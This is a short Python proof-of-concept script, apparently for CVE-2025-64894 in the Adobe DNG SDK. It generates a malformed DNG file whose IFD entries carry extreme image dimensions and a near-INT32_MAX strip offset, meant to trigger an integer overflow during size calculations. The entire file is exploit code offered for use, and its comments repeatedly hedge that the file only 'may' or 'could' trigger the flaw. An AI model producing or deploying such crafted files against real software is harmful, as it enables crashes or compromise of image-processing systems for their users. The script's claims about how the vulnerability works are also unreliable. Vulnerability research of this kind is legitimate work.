#!/usr/bin/env python3
"""
CVE-2025-64894 PoC - Adobe DNG SDK Integer Overflow
This PoC generates a minimal malicious DNG file to trigger integer overflow.
WARNING: For educational and security research purposes only.
"""
import struct
import os
def create_malicious_dng(output_path):
"""
Create a minimal DNG file that may trigger integer overflow in DNG SDK.
The vulnerability exists in how DNG SDK handles certain IFD entries
with specially crafted values that cause integer overflow during size calculations.
"""
# TIFF header
tiff_header = bytearray([
0x49, 0x49, 0x2A, 0x00, # Byte order: little-endian
0x08, 0x00, 0x00, 0x00 # Offset to first IFD
])
# IFD0 structure
# Number of directory entries
num_entries = 6
ifd_entries = bytearray()
# Entry 1: NewSubFileType (Tag 254) - LONG type
# Value that could trigger overflow when combined with other calculations
ifd_entries += struct.pack('<HHII', 254, 4, 1, 0)
# Entry 2: ImageWidth (Tag 256) - SHORT type
# Large dimension value
ifd_entries += struct.pack('<HHII', 256, 3, 1, 0xFFFF)
# Entry 3: ImageLength (Tag 257) - SHORT type
# Large dimension value that may cause overflow in row stride calculations
ifd_entries += struct.pack('<HHII', 257, 3, 1, 0xFFFF)
# Entry 4: BitsPerSample (Tag 258) - SHORT type
ifd_entries += struct.pack('<HHII', 258, 3, 3, 0)
# Entry 5: Compression (Tag 259) - SHORT type
ifd_entries += struct.pack('<HHII', 259, 3, 1, 1)
# Entry 6: StripOffsets (Tag 273) - LONG type
# This entry with specially crafted count could trigger integer overflow
# when SDK calculates total data size
large_offset = 0x7FFFFFFF # Near INT32_MAX - potential overflow trigger
ifd_entries += struct.pack('<HHII', 273, 4, 1, large_offset)
# Next IFD offset (0 means no more IFDs)
next_ifd = struct.pack('<I', 0)
# Combine all parts
malicious_dng = tiff_header + struct.pack('<H', num_entries) + ifd_entries + next_ifd
# Add some padding data to simulate image data
padding = b'\x00' * 1024
malicious_dng += padding
with open(output_path, 'wb') as f:
f.write(malicious_dng)
print(f"[+] Malicious DNG file created: {output_path}")
print(f"[+] File size: {len(malicious_dng)} bytes")
print(f"[!] This PoC attempts to trigger CVE-2025-64894")
print(f"[!] The vulnerability is an integer overflow in DNG SDK's size calculations")
if __name__ == "__main__":
output_file = "CVE-2025-64894_poc.dng"
create_malicious_dng(output_file)
print("\n[*] Note: Actual exploitation requires specific conditions")
print("[*] and may vary based on DNG SDK version and compilation options")